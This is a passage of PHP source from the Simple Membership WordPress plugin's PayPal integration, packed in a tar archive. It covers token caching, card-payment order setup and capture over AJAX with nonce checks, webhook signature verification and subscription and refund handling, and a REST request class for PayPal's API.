$expiry_timestamp ) { //The token is expired. return false; } return true; } public static function get_token_from_json( $json ) { $json = (object) json_decode( $json ); $token = ''; if ( isset( $json->access_token ) || isset( $json->client_token ) ) { $token = isset( $json->access_token ) ? $json->access_token : $json->client_token; } return $token; } }���������������������������������������������������������������������������������������������paypal/class-swpm-paypal-cache.php������������������������������������������������������������������0000644�����������������00000002263�14720677707�0013205 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This class is used to cache the bearer token. * We will use a Singleton class to make it simple to use. */ class SWPM_PayPal_Cache { protected static $instance; public function __construct() { //NOP } public static function get_instance() { if (null === self::$instance) { self::$instance = new self(); } return self::$instance; } /** * Gets a value. * @param string $key The key under which the value is stored. */ public function get( $key ) { return get_transient( $key ); } /** * Whether a value is stored or not. * @param string $key The key for the value. * @return bool */ public function has( $key ) { $value = $this->get( $key ); return false !== $value; } /** * Deletes a cache. * @param string $key The key. */ public function delete( $key ) { delete_transient( $key ); } /** * Caches a value. * @param string $key The key under which the value should be cached. * @param mixed $value The value to cache. * @param int $expiration Time until expiration in seconds. * @return bool */ public function set( $key, $value, $expiration = 0 ) { return (bool) set_transient( $key, $value, $expiration ); } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-acdc-related.php�����������������������������������������������������������0000644�����������������00000024413�14720677707�0014453 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * PayPal ACDC Related Functions * Documentation reference: https://developer.paypal.com/docs/multiparty/checkout/advanced/integrate/ */ class SWPM_PayPal_ACDC_Related { public function __construct() { //Handle it at 'wp_loaded' since custom post types will also be available at that point. add_action( 'wp_loaded', array(&$this, 'setup_acdc_related_ajax_request_actions' ) ); } public function setup_acdc_related_ajax_request_actions() { //Handle the ajax request for ACDC 'Buy Now' type buttons order setup. add_action( 'wp_ajax_swpm_acdc_setup_order', array(&$this, 'swpm_acdc_setup_order' ) ); add_action( 'wp_ajax_nopriv_swpm_acdc_setup_order', array(&$this, 'swpm_acdc_setup_order' ) ); //Handle the ajax request for ACDC 'Buy Now' type buttons capture order. add_action( 'wp_ajax_swpm_acdc_capture_order', array(&$this, 'swpm_acdc_capture_order' ) ); add_action( 'wp_ajax_nopriv_swpm_acdc_capture_order', array(&$this, 'swpm_acdc_capture_order' ) ); } public static function get_sdk_src_url_for_acdc( $environment_mode = 'production', $currency = 'USD' ){ //Get the client ID and merchant ID based on the environment mode. $client_id = SWPM_PayPal_Utility_Functions::get_seller_client_id_by_environment_mode( $environment_mode ); $merchant_id = SWPM_PayPal_Utility_Functions::get_seller_merchant_id_by_environment_mode( $environment_mode ); $query_args = array(); $query_args['components'] = 'buttons,card-fields';//'buttons,card-fields,hosted-fields' $query_args['client-id'] = $client_id;//Seller client ID if(!empty($merchant_id)){ $query_args['merchant-id'] = $merchant_id;//Seller merchant ID } else { //Merchant ID is not mandatory for 'card-fields' component. $pp_acdc_msg_str = __( 'Note: Merchant ID value is empty so the SDK URL will not include this parameter.', 'simple-membership' ); SwpmLog::log_simple_debug($pp_acdc_msg_str, true); } $query_args['currency'] = $currency; $query_args['intent'] = 'capture'; $base_url = 'https://www.paypal.com/sdk/js'; $sdk_src_url = add_query_arg( $query_args, $base_url ); //Example URL = "https://www.paypal.com/sdk/js?components=buttons,card-fields&client-id=".$client_id."&merchant-id=".$merchant_id."¤cy=USD&intent=capture"; //Encode the URL to prevent ¤cy=USD or other parameters from being converted to special symbol. $sdk_src_url = htmlspecialchars( $sdk_src_url, ENT_QUOTES, 'UTF-8' ); return $sdk_src_url; } /** * Generates a customer ID that is used in the generate token API call. * PayPal's requirement is that it needs to be between 1-22 characters. */ public static function generate_customer_id($length = 20) { //We will generate a random string of 20 characters by default and use that as the customer_id. //If the user is logged into the site, we can use potentially the user's ID as the customer_id. $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $characters_length = strlen($characters); $random_string = ''; for ($i = 0; $i < $length; $i++) { $random_string .= $characters[rand(0, $characters_length - 1)]; } $customer_id = $random_string; return $customer_id; } /** * Generates a client token that is used in ACDC (Advanced Credit and Debit Card) flow. * PayPal requirement: A client token needs to be generated for each time the card fields render on the page. */ public function generate_client_token( $environment_mode = 'production' ){ //Generate a customer ID. $customer_id = self::generate_customer_id(); //Get the API base URL. $api_base_url = SWPM_PayPal_Utility_Functions::get_api_base_url_by_environment_mode( $environment_mode ); //Get the bearer/access token. $bearer = SWPM_PayPal_Bearer::get_instance(); $bearer_token = $bearer->get_bearer_token( $environment_mode ); $url = trailingslashit( $api_base_url ) . 'v1/identity/generate-token'; $args = array( 'method' => 'POST', 'headers' => array( 'Authorization' => 'Bearer ' . $bearer_token, 'Content-Type' => 'application/json', 'PayPal-Partner-Attribution-Id' => 'TipsandTricks_SP_PPCP', ), ); $args['body'] = wp_json_encode( array( 'customer_id' => $customer_id, ) ); //Send the request to the PayPal API. $response = SWPM_PayPal_Request_API::send_request_by_url_and_args( $url, $args ); if ( is_wp_error( $response ) ) { //WP could not post the request. $error_msg = $response->get_error_message();//Get the error from the WP_Error object. SwpmLog::log_simple_debug( 'Failed to post the request to the PayPal API. Error: ' . $error_msg, false ); return false; } $status_code = (int) wp_remote_retrieve_response_code( $response ); if ( $status_code !== 200 ) { //PayPal API returned an error. $response_body = wp_remote_retrieve_body( $response ); SwpmLog::log_simple_debug( 'PayPal API returned an error. Status Code: ' . $status_code . ' Response Body: ' . $response_body, false ); return false; } //Get the client_token string value from the response. $json = json_decode( wp_remote_retrieve_body( $response ) ); $client_token = isset( $json->client_token) ? $json->client_token : ''; return $client_token; } /** * Handles the order setup for ACDC 'Buy Now' type buttons. */ public function swpm_acdc_setup_order(){ SwpmLog::log_array_data_to_debug( 'Received request - swpm_acdc_setup_order', true); //Get the data from the request $data = isset( $_POST['data'] ) ? stripslashes_deep( $_POST['data'] ) : array(); if ( empty( $data ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty data received.', 'simple-membership' ), ) ); } if( !is_array( $data ) ){ //Convert the JSON string to an array (Vanilla JS AJAX data will be in JSON format). $data = json_decode( $data, true); } $button_id = isset( $data['button_id'] ) ? sanitize_text_field( $data['button_id'] ) : ''; $on_page_button_id = isset( $data['on_page_button_id'] ) ? sanitize_text_field( $data['on_page_button_id'] ) : ''; SwpmLog::log_simple_debug( 'acdc_setup_order ajax request received for createOrder. Button ID: '.$button_id.', On Page Button ID: ' . $on_page_button_id, true ); // Check nonce. if ( ! check_ajax_referer( $on_page_button_id, '_wpnonce', false ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Nonce check failed. The page was most likely cached. Please reload the page and try again.', 'simple-membership' ), ) ); exit; } //Get the Item name for this button. This will be used as the item name in the IPN. $button_cpt = get_post($button_id); //Retrieve the CPT for this button $item_name = htmlspecialchars($button_cpt->post_title); $item_name = substr($item_name, 0, 127);//Limit the item name to 127 characters (PayPal limit) //Get the payment amount for this button. $payment_amount = get_post_meta($button_id, 'payment_amount', true); //Get the currency for this button. $currency = get_post_meta( $button_id, 'payment_currency', true ); $quantity = 1; $digital_goods_enabled = 1; // Create the order using the PayPal API. // https://developer.paypal.com/docs/api/orders/v2/#orders_create $data = array( 'item_name' => $item_name, 'payment_amount' => $payment_amount, 'currency' => $currency, 'quantity' => $quantity, 'digital_goods_enabled' => $digital_goods_enabled, ); $api_injector = new SWPM_PayPal_Request_API_Injector(); $response = $api_injector->create_paypal_order_by_url_and_args( $data ); // SwpmLog::log_simple_debug('--- Var Export Below ---', true); // $debug = var_export($response, true); // SwpmLog::log_simple_debug($debug, true); if($response !== false){ $paypal_order_id = $response; } else { //Failed to create the order. wp_send_json( array( 'success' => false, 'err_msg' => __( 'Failed to create the order. Enable the debug logging feature to get more details.', 'simple-membership' ), ) ); exit; } SwpmLog::log_simple_debug( 'acdc_setup_order done. PayPal Order ID: ' . $paypal_order_id, true ); //If everything is processed successfully, send the success response. wp_send_json( array( 'success' => true, 'order_id' => $paypal_order_id ) ); exit; } /** * Handles the order capture for ACDC 'Buy Now' type buttons. */ public function swpm_acdc_capture_order(){ //Get the data from the request $order_id = isset( $_POST['order_id'] ) ? sanitize_text_field($_POST['order_id']) : ''; if ( empty( $order_id ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Empty order ID received.', 'simple-membership' ), ) ); } $on_page_button_id = isset( $_POST['on_page_button_id'] ) ? sanitize_text_field( $_POST['on_page_button_id'] ) : ''; //$button_id = isset( $data['button_id'] ) ? sanitize_text_field( $data['button_id'] ) : ''; SwpmLog::log_simple_debug( 'Received request - swpm_acdc_capture_order. Order ID: ' . $order_id . ', on_page_button_id: ' . $on_page_button_id, true ); // Check nonce. if ( ! check_ajax_referer( $on_page_button_id, '_wpnonce', false ) ) { wp_send_json( array( 'success' => false, 'err_msg' => __( 'Nonce check failed. The page was most likely cached. Please reload the page and try again.', 'simple-membership' ), ) ); exit; } // Capture the order using the PayPal API - https://developer.paypal.com/docs/api/orders/v2/#orders_capture $api_injector = new SWPM_PayPal_Request_API_Injector(); $response = $api_injector->capture_paypal_order( $order_id ); if($response !== false){ $paypal_capture_id = $response; } else { //Failed to capture the order. wp_send_json( array( 'success' => false, 'err_msg' => __( 'Failed to capture the order. Enable the debug logging feature to get more details.', 'simple-membership' ), ) ); exit; } //If everything is processed successfully, send the success response. $order_data = array('order_id' => $order_id, 'capture_id' => $paypal_capture_id, 'captured' => 'success' ); wp_send_json( array( 'success' => true, 'orderData' => $order_data ) ); exit; } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-webhook-event-handler.php��������������������������������������������������0000644�����������������00000036375�14720677707�0016345 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * A Webhook class. Represents a webhook object with parameters in a given mode. */ class SWPM_PayPal_Webhook_Event_Handler { public function __construct() { //Register to handle the webhook event. //Handle it at 'wp_loaded' since custom post types will also be available then add_action( 'wp_loaded', array(&$this, 'handle_paypal_webhook' ) ); } public function handle_paypal_webhook(){ //Handle PayPal Webhook if ( ! isset( $_GET['action'] ) || $_GET['action'] !== 'swpm_paypal_webhook_event' || ! isset( $_GET['mode'] ) ) { return; } $event = file_get_contents( 'php://input' ); if ( ! $event || substr( $event, 0, 1 ) !== '{' ) { SwpmLog::log_simple_debug( 'WebHook Error: Empty or non-JSON webhook data!', false ); wp_die(); } $event = json_decode( $event, true ); SwpmLog::log_simple_debug( 'Webhook event type: ' . $event['event_type'] . '. Event summary: ' . $event['summary'], true ); if ($_GET['mode'] == 'production') { $mode = 'production'; } else { $mode = 'sandbox'; } //If using simulator, this will need to be commented out. //Verify the webhook for the given mode. if ( ! self::verify_webhook_event_for_given_mode( $event, $mode ) ) { status_header(200);//Send a 200 status code to PayPal to indicate that the webhook event was received successfully. wp_die(); } //Handle the events //https://developer.paypal.com/api/rest/webhooks/event-names/#link-subscriptions //We will handle the following webhook event types. $event_type = $event['event_type']; //The subscription is added to the payments/transactions menu/database at checkout time (from the front-end). Later these events are used to update the status of the entries. switch ( $event_type ) { case 'BILLING.SUBSCRIPTION.ACTIVATED': // A subscription is activated. This has all the details (including the customer details) in the webhook event. $this->handle_subscription_status_update('activated', $event, $mode ); break; case 'BILLING.SUBSCRIPTION.EXPIRED': // A subscription expires. $this->handle_subscription_status_update('expired', $event, $mode ); break; case 'BILLING.SUBSCRIPTION.CANCELLED': // A subscription is cancelled. $this->handle_subscription_status_update('cancelled', $event, $mode ); break; case 'BILLING.SUBSCRIPTION.SUSPENDED': // A subscription is suspended. $this->handle_subscription_status_update('suspended', $event, $mode ); break; case 'PAYMENT.SALE.COMPLETED': // A payment is made on a subscription. Update access starts date (if needed). $this->handle_subscription_payment_received('sale_completed', $event, $mode ); break; case 'PAYMENT.SALE.REFUNDED': // A merchant refunded a sale. $this->handle_payment_refunded('sale_refunded', $event, $mode ); break; case 'PAYMENT.CAPTURE.REFUNDED': // A merchant refunded a payment capture. $this->handle_payment_refunded('capture_refunded', $event, $mode ); break; default: // Nothing to do for us. Ignore this event. break; } /** * Trigger an action hook after webhook verification (can be used to do further customization). * * @param array $event The event data received from PayPal API. * @see https://developer.paypal.com/docs/api-basics/notifications/webhooks/notification-messages/ */ do_action( 'swpm_paypal_subscription_webhook_event', $event ); if ( ! headers_sent() ) { //Send a 200 status code to PayPal to indicate that the webhook event was received successfully. header("HTTP/1.1 200 OK"); } echo '200 OK';//Force header output. exit; } /** * Handle subscription status update. */ public function handle_subscription_status_update( $status, $event, $mode ) { //Get the subscription ID from the event data. $subscription_id = $event['resource']['id']; SwpmLog::log_simple_debug( 'Handling Webhook status update. Subscription ID: ' . $subscription_id, true ); if( $status == 'activated'){ //Hanlded at checkout time. Nothing to do here at this time. return; } if( $status == 'expired' || $status == 'cancelled' || $status == 'suspended'){ //Set the account profile to expired or inactive. //Retrieve the member record for this subscription $member_record = SwpmMemberUtils::get_user_by_subsriber_id( $subscription_id ); if( ! $member_record ){ // No member record found SwpmLog::log_simple_debug( 'Could not find an existing member record for the given subscriber ID: ' . $subscription_id . '. This user profile may have been deleted. Nothing to do', true ); return; } // Found a member record $member_id = $member_record->member_id; //Example value: array('last_webhook_status' => 'expired' ); if( SwpmMemberUtils::get_subscription_data_extra_info($member_id, 'last_webhook_status') == $status ){ //Nothing to do. This webhook status has already been processed. SwpmLog::log_simple_debug( 'This webhook status ('.$status.') has already been processed for this member (ID: '.$member_id.'). Nothing to do.', true ); return; } else { //Save the last webhook status. SwpmMemberUtils::set_subscription_data_extra_info( $member_id, 'last_webhook_status', $status ); //Handle the account status update according to the membership level's expiry settings. $ipn_data = array(); $ipn_data['subscr_id'] = $subscription_id; $ipn_data['custom'] = 'swpm_id=' . $member_id; swpm_handle_subsc_cancel_stand_alone( $ipn_data ); return; } } } /** * Handle subscription payment received. */ public function handle_subscription_payment_received( $payment_status, $event, $mode ){ //Get the subscription ID from the event data. $subscription_id = isset( $event['resource']['billing_agreement_id'] ) ? $event['resource']['billing_agreement_id'] : ''; $txn_id = isset( $event['resource']['id'] ) ? $event['resource']['id'] : ''; SwpmLog::log_simple_debug( 'Subscription ID from resource: ' . $subscription_id . '. Transaction ID: ' . $txn_id, true ); if( empty( $subscription_id )){ SwpmLog::log_simple_debug( 'Subscription ID is empty. Ignoring this webhook event.', true ); return; } if( self::is_sale_completed_webhook_already_processed( $event ) ){ //This webhook event has already been processed. Ignoring this webhook event. return; } //Get the subscription details from PayPal API endpoint - v1/billing/subscriptions/{$subscription_id} $api_injector = new SWPM_PayPal_Request_API_Injector(); $api_injector->set_mode_and_api_creds_based_on_mode( $mode ); $sub_details = $api_injector->get_paypal_subscription_details( $subscription_id ); if( $sub_details !== false ){ $billing_info = $sub_details->billing_info; if(is_object($billing_info)){ //Convert the object to an array. $billing_info = json_decode(json_encode($billing_info), true); } //SwpmLog::log_array_data_to_debug( $billing_info, true );//Debugging only. $tenure_type = isset($billing_info['cycle_executions'][0]['tenure_type']) ? $billing_info['cycle_executions'][0]['tenure_type'] : ''; //'REGULAR' or 'TRIAL' $sequence = isset($billing_info['cycle_executions'][0]['sequence']) ? $billing_info['cycle_executions'][0]['sequence'] : '';//1, 2, 3, etc. $cycles_completed = isset($billing_info['cycle_executions'][0]['cycles_completed']) ? $billing_info['cycle_executions'][0]['cycles_completed'] : '';//1, 2, 3, etc. $last_payment_time = isset($billing_info['last_payment']['time']) ? $billing_info['last_payment']['time'] : ''; SwpmLog::log_simple_debug( 'Subscription tenure type: ' . $tenure_type . ', Sequence: ' . $sequence . ', Cycles Completed: '. $cycles_completed. ', Last Payment Time: ' . $last_payment_time, true ); //Create the IPN data array from the subscription details. $ipn_data = self::create_ipn_data_from_paypal_api_subscription_details_data( $sub_details, $event ); //SwpmLog::log_array_data_to_debug( $ipn_data, true );//Debugging only. //Update the "Access starts date" of the member account to the current date. swpm_update_member_subscription_start_date_if_applicable( $ipn_data ); //Save the payment transaction details to the DB. SwpmTransactions::save_txn_record( $ipn_data, array() ); SwpmLog::log_simple_debug( 'Executed save_txn_record() function.', true ); // Trigger the webhook processed action hook (so other plugins can can listen for this event). do_action( 'swpm_paypal_subscription_sale_completed_webhook_processed', $ipn_data ); } else { //Error getting subscription details. SwpmLog::log_simple_debug( 'Error! Failed to get subscription details from the PayPal API.', false ); //TODO - Show additional error details if available. return; } } public function handle_payment_refunded( $payment_status, $event, $mode ){ //For subscription payment, the account is cancelled when the subscription is cancelled or expired. //For one time payment, the refund event will trigger the account cancellation. //TODO - Handle any other refund related webhook notifications. SwpmLog::log_simple_debug( 'Processing the payment refund/reversal webhook event.', true ); SwpmLog::log_array_data_to_debug( $event, true );//Debugging only. if( $payment_status != 'capture_refunded'){ //At the moment we are only processing the capture refunded event. SwpmLog::log_simple_debug( 'This is not a capture refund event. Ignore this event.', true ); return; } $refund_txn_id = isset( $event['resource']['id'] ) ? $event['resource']['id'] : ''; $rerfund_amount = isset( $event['resource']['amount']['value'] ) ? $event['resource']['amount']['value'] : 0; $refund_currency = isset( $event['resource']['amount']['currency_code'] ) ? $event['resource']['amount']['currency_code'] : ''; $links = isset( $event['resource']['links'] ) ? $event['resource']['links'] : array(); $link_refund_txn = isset( $links[0]['href'] ) ? $links[0]['href'] : ''; //This will contain the origial capture transaction ID and the URL to query and get the details. $link_capture_txn = isset( $links[1]['href'] ) ? $links[1]['href'] : ''; //Get the original capture txn ID from the refund link url. $uri_path_components = explode("/", parse_url($link_capture_txn, PHP_URL_PATH)); $orig_capture_txn_id = array_pop($uri_path_components); SwpmLog::log_simple_debug( 'Transaction ID from resource. Transaction ID: ' . $orig_capture_txn_id . '. Original Capture Link: ' . $link_capture_txn, true ); if( empty( $orig_capture_txn_id )){ SwpmLog::log_simple_debug( 'Transaction ID value is empty. Ignoring this webhook event.', true ); return; } $ipn_data = array(); $ipn_data['parent_txn_id'] = $orig_capture_txn_id;//Important for one time transactions refund. $ipn_data['subscr_id'] = ''; swpm_handle_refund_using_parent_txn_id( $ipn_data ); } public static function create_ipn_data_from_paypal_api_subscription_details_data( $sub_details, $event ){ //Creates the $ipn_data array using the data from the PayPal API endpoint - v1/billing/subscriptions/{$subscription_id} $ipn_data = array(); if(!is_object($sub_details)){ SwpmLog::log_simple_debug( 'Error! Invalid subscription details data. Cannot create ipn data.', false ); return false; } //Get the subscriber info array $subscriber_info = $sub_details->subscriber; if(is_object($subscriber_info)){ //Convert the object to an array. $subscriber_info = json_decode(json_encode($subscriber_info), true); } //Get the billing info array $billing_info = $sub_details->billing_info; if(is_object($billing_info)){ //Convert the object to an array. $billing_info = json_decode(json_encode($billing_info), true); } //Get the Subscription ID and Txn ID from the event data. $subscription_id = isset( $event['resource']['billing_agreement_id'] ) ? $event['resource']['billing_agreement_id'] : ''; $txn_id = isset( $event['resource']['id'] ) ? $event['resource']['id'] : ''; //Get the custom field data of the original subscription checkout from the user profile (if available). $custom = SwpmTransactions::get_original_custom_value_from_transactions_cpt( $subscription_id ); //Set the data to the $ipn_data array. $ipn_data['custom'] = isset($custom) ? $custom : ''; $ipn_data['payer_email'] = $subscriber_info['email_address']; $ipn_data['first_name'] = $subscriber_info['name']['given_name']; $ipn_data['last_name'] = $subscriber_info['name']['surname']; $ipn_data['txn_id'] = $txn_id; $ipn_data['subscr_id'] = $subscription_id; $ipn_data['mc_gross'] = isset($billing_info['last_payment']['amount']['value']) ? $billing_info['last_payment']['amount']['value'] : ''; $ipn_data['gateway'] = 'paypal_subscription_checkout'; $ipn_data['txn_type'] = 'pp_subscription_sale_completed_webhook'; $ipn_data['status'] = 'Completed'; return $ipn_data; } public static function is_sale_completed_webhook_already_processed( $event ){ // Query the DB to check if we have already processed this transaction or not. $txn_id = isset( $event['resource']['id'] ) ? $event['resource']['id'] : ''; $subscription_id = isset( $event['resource']['billing_agreement_id'] ) ? $event['resource']['billing_agreement_id'] : ''; $txn_row = SwpmTransactions::get_transaction_row_by_txn_id_and_subscription_id($txn_id, $subscription_id); if (!empty($txn_row)) { // And if we have already processed it, do nothing and return true SwpmLog::log_simple_debug( "This webhook event has already been processed (Txn ID: ".$txn_id.", Subscr ID: ".$subscription_id."). This looks to be a duplicate webhook notification. Nothing to do.", true ); return true; } return false; } /** * Gets the HTTP headers that you received from PayPal webhook. */ public static function get_paypal_webhook_headers() { //This method of getting the headers is more robust than using getallheaders() as this method will work on nginx servers as well. $headers = array(); foreach ( $_SERVER as $key => $value ) { if ( substr( $key, 0, 5 ) !== 'HTTP_' ) { continue; } $header = str_replace( ' ', '-', str_replace( '_', ' ', strtoupper( substr( $key, 5 ) ) ) ); $headers[ $header ] = $value; } return $headers; } public static function verify_webhook_event_for_given_mode( $event, $mode ){ //Get HTTP headers received from the PayPal webhook. $headers = self::get_paypal_webhook_headers(); //Verify the webhook event signaure. $pp_webhook = new SWPM_PayPal_Webhook(); //Set the mode based on the received webhook (so we are processing according to that instead of the current mode setting in the plugin settings). $pp_webhook->set_mode_and_api_creds_based_on_mode( $mode ); $response = $pp_webhook->verify_webhook_signature( $event, $headers ); if( $response !== false && $response->verification_status === 'SUCCESS' ){ //Webhook verification success! return true; } if ( isset( $response->verification_status ) && $response->verification_status !== 'SUCCESS' ) { SwpmLog::log_simple_debug( 'Error! Webhook verification failed! Environment mode: '. $mode . ', Verification status: ' . $response->verification_status, false ); return false; } //If we are here then something went wrong. Log the error and return false. //We can check the SWPM_PayPal_Request_API->last_error to find additional details if needed. SwpmLog::log_simple_debug( 'Error! Webhook verification failed! Environment mode: '. $mode, false ); return false; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-request-api.php������������������������������������������������������������0000644�����������������00000035516�14720677707�0014410 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * PayPal REST API request class. */ class SWPM_PayPal_Request_API { protected static $instance; protected $client_id; protected $secret; protected $basic_auth_string; public $environment_mode = 'production'; //sandbox or production public $sandbox_api_base_url = 'https://api-m.sandbox.paypal.com'; public $production_api_base_url = 'https://api-m.paypal.com'; public $last_error; public $app_info = array( 'name' => 'Simple Membership', 'url' => 'https://wordpress.org/plugins/simple-membership/', ); public static function get_instance() { if (null === self::$instance) { self::$instance = new self(); } return self::$instance; } public function set_mode_and_api_credentials( $mode, $live_client_id, $live_secret, $sandbox_client_id, $sandbox_secret ) { $this->set_api_environment_mode( $mode ); if ( $mode == 'production' ) { $client_id = $live_client_id; $secret = $live_secret; } else { $client_id = $sandbox_client_id; $secret = $sandbox_secret; } $this->set_api_credentials( $client_id, $secret ); } public function set_api_credentials( $client_id, $secret ) { if( empty( $client_id ) || empty( $secret ) ){ wp_die( "PayPal API credentials are not set. Missing Client ID or Secret Key. Please set them in the plugin's payment settings page." ); } $this->client_id = $client_id; $this->secret = $secret; $this->basic_auth_string = base64_encode( $this->client_id . ":" . $this->secret ); } public function set_api_environment_mode( $mode = 'production' ) { $this->environment_mode = $mode; } public function get_api_environment_mode() { return $this->environment_mode; } public function get_api_base_url() { if ($this->environment_mode == 'production') { return $this->production_api_base_url; } else { return $this->sandbox_api_base_url; } } /* * Useful to encode params for HTTP GET request where an array can be in the URL. */ private function encode_params( $d ) { if (true === $d) { return 'true'; } if (false === $d) { return 'false'; } if (is_array( $d )) { $res = array(); foreach ( $d as $k => $v ) { $res[ $k ] = $this->encode_params( $v ); } return $res; } return $d; } private function before_request() { //Reset the last_error variable before making a request. $this->last_error = array('error_message' => ''); } public function get_last_error() { return $this->last_error; } /** * Headers to use when making API requests using basic auth. We don't use this normally (as we use the bearer token method). */ private function get_headers() { $ua_string = $this->format_app_info_to_string( $this->app_info ); $headers = array( 'Content-Type' => 'application/json', 'Authorization' => 'Basic ' . $this->basic_auth_string, 'User-Agent' => $ua_string, 'PayPal-Partner-Attribution-Id' => 'TipsandTricks_SP_PPCP', ); return $headers; } /** * Headers to use when making API requests using a bearer token. */ private function get_headers_using_bearer_token() { //Get the bearer token at the time of the request (so if a cached token is used, it's validity gets checked before each request). $environment_mode = $this->get_api_environment_mode(); //===Backwards compatibility. Check if the PPCP onboarding step is done for this environment mode.=== $settings = SwpmSettings::get_instance(); $onboarding_status = $settings->get_value('paypal-ppcp-onboarding-'.$environment_mode); if( $onboarding_status != 'completed' ){ //The PPCP onboarding step is not done for this environment mode. Do the fallback header method. return $this->get_headers(); } //===End backwards compatibility=== //Get the bearer/access token. $bearer = SWPM_PayPal_Bearer::get_instance(); $bearer_token = $bearer->get_bearer_token( $environment_mode ); $headers = array( 'Content-Type' => 'application/json', 'Authorization' => 'Bearer ' . $bearer_token, 'PayPal-Partner-Attribution-Id' => 'TipsandTricks_SP_PPCP', ); return $headers; } public static function get_paypal_auth_assertion_value($environment_mode){ $partner_client_id = SWPM_PayPal_Utility_Functions::get_partner_client_id_by_environment_mode( $environment_mode ); $seller_merchant_id = SWPM_PayPal_Utility_Functions::get_seller_merchant_id_by_environment_mode( $environment_mode ); $jwt_header_data = array( 'alg' => 'none' ); $jwt_payload = array( 'iss' => $partner_client_id, 'payer_id' => $seller_merchant_id ); $pp_auth_assertion = base64_encode(json_encode($jwt_header_data)).'.'.base64_encode(json_encode($jwt_payload)).'.';//The signature is empty return $pp_auth_assertion; } /** * Make GET API request * * @param string $endpoint * Endpoint to make request to. Example: '/v1/billing/plans' * @param array $params * @return mixed * `object` on success, `false` on error */ public function get( $endpoint, $params = array(), $additional_args = array() ) { $this->before_request(); //$headers = $this->get_headers();//This can be used for Basic auth headers $headers = $this->get_headers_using_bearer_token(); $api_base_url = $this->get_api_base_url(); $request_url = $api_base_url . $endpoint; //Example: https://api-m.sandbox.paypal.com/v1/billing/plans //Add the request URL to the additional args so it can be logged (if needed). $additional_args['request_url'] = $request_url; $res = wp_remote_get( $request_url, array( 'headers' => $headers, 'body' => $this->encode_params( $params ), ) ); //Check if we need to return the body or raw response if( isset($additional_args['return_raw_response']) && $additional_args['return_raw_response'] ){ //Return the raw response return $res; } else if ( isset( $additional_args['return_response_body'] ) && $additional_args['return_response_body'] ){ //Return the response body return wp_remote_retrieve_body( $res ); } $status_code = isset( $additional_args['status_code'] ) ? $additional_args['status_code'] : 200; //Return the response body as a JSON decoded object. $return = $this->process_request_result( $res, $status_code, $additional_args ); return $return; } /** * Make POST API request * * @param string $endpoint * Endpoint to make request to. Example: '/v1/catalogs/products' * @param array $params * Parameters to send * @param string $method * Request method. Default is 'POST' * @return mixed * `object` on success, `false` on error */ public function post( $endpoint, $params = array(), $additional_args = array() ) { $this->before_request(); //Get the headers to use for the request. $headers = $this->get_headers_using_bearer_token(); if( isset( $additional_args['PayPal-Request-Id'] ) ){ //Add the PayPal-Request-Id header if it's set. $headers['PayPal-Request-Id'] = $additional_args['PayPal-Request-Id']; } //The request URL. $api_base_url = $this->get_api_base_url(); $request_url = $api_base_url . $endpoint; //Example: https://api-m.sandbox.paypal.com/v1/catalogs/products //Add the request URL to the additional args so it can be logged (if needed). $additional_args['request_url'] = $request_url; $payload = array( 'headers' => $headers, 'body' => json_encode( $params ), ); //=== Debug purposes (Useful for PayPal Tech Support) === //SwpmLog::log_simple_debug( 'PayPal REST API request URL: ' . $request_url, true ); //SwpmLog::log_array_data_to_debug( $payload, true); //=== End of debug purposes === //Make the request $res = wp_remote_post( $request_url, $payload ); //Check if we need to return the body or raw response if( isset($additional_args['return_raw_response']) && $additional_args['return_raw_response'] ){ //Return the raw response return $res; } else if ( isset( $additional_args['return_response_body'] ) && $additional_args['return_response_body'] ){ //Return the response body return wp_remote_retrieve_body( $res ); } //POST success response status code is 201 by default $status_code = isset( $additional_args['status_code'] ) ? $additional_args['status_code'] : 201; //Return the response body as a JSON decoded object. $return = $this->process_request_result( $res, $status_code, $additional_args ); return $return; } /** * Make DELETE API request * @param mixed $endpoint * @param mixed $params * @return mixed */ public function delete( $endpoint, $params = array(), $additional_args = array() ) { $this->before_request(); $headers = $this->get_headers_using_bearer_token(); $api_base_url = $this->get_api_base_url(); $request_url = $api_base_url . $endpoint; //Example: https://api-m.sandbox.paypal.com/v1/catalogs/products //Add the request URL to the additional args so it can be logged (if needed). $additional_args['request_url'] = $request_url; $res = wp_remote_request( $request_url, array( 'method' => 'DELETE', 'headers' => $headers, 'body' => json_encode( $params ), ) ); //Check if we need to return the body or raw response if( isset($additional_args['return_raw_response']) && $additional_args['return_raw_response'] ){ //Return the raw response return $res; } else if ( isset( $additional_args['return_response_body'] ) && $additional_args['return_response_body'] ){ //Return the response body return wp_remote_retrieve_body( $res ); } //DELETE action's success response status code is 204 by default $status_code = isset( $additional_args['status_code'] ) ? $additional_args['status_code'] : 204; //Return the response body as a JSON decoded object. $return = $this->process_request_result( $res, $status_code, $additional_args ); return $return; } /* * Checks the response and if it finds any error, it stores the error details in the last_error var then returns false. * If the response is successful, it returns the response body as a JSON decoded object. * Minimizes the amount of response code check the source code has to do. */ private function process_request_result( $res, $status_code = 200, $additional_args = array() ) { if (is_wp_error( $res )) { $this->last_error['error_message'] = $res->get_error_message(); $this->last_error['error_code'] = $res->get_error_code(); //This usually means that WordPress failed to make the request to the API endpoint correctly. Log this error so the debug option can reveal the details. $this->log_api_error_response( $res, $this->last_error['error_message'], $additional_args ); return false; } if ($status_code !== $res['response']['code']) { if (! empty( $res['body'] )) { $body = json_decode( $res['body'], true ); if (isset( $body['error'] )) { $this->last_error['error_message'] = $body['error_description']; 